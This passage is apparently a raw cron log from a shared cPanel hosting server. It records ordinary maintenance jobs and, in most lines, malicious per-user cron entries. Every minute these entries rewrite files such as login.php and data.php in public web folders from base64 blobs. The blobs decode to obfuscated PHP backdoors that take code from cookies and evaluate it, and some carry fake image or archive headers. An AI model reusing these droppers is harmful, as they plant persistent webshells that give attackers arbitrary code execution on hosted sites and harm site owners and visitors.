3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:02:01 medusa CROND[2693]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 10:02:01 medusa CROND[2694]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:02:01 medusa CROND[2695]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 10:02:01 medusa CROND[2697]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 10:02:01 medusa CROND[2698]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 10:02:01 medusa CROND[2701]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 10:02:01 medusa CROND[2709]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 10:02:01 medusa CROND[2710]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 10:02:01 medusa CROND[2712]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:03:01 medusa CROND[4722]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 10:03:01 medusa CROND[4723]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:03:01 medusa CROND[4724]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 10:03:01 medusa CROND[4725]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 10:03:01 medusa CROND[4727]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:03:01 medusa CROND[4732]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 10:03:01 medusa CROND[4736]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 10:03:01 medusa CROND[4734]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 10:03:01 medusa CROND[4737]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:03:01 medusa CROND[4735]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 10:03:01 medusa CROND[4738]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:03:01 medusa CROND[4742]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 10:04:01 medusa CROND[6706]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 10:04:01 medusa CROND[6719]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:04:01 medusa CROND[6720]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 10:04:01 medusa CROND[6721]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 10:04:01 medusa CROND[6722]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 10:04:01 medusa CROND[6723]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 10:04:01 medusa CROND[6726]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:04:01 medusa CROND[6727]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 10:04:01 medusa CROND[6730]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 10:04:01 medusa CROND[6731]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:04:01 medusa CROND[6732]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 10:04:01 medusa CROND[6733]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
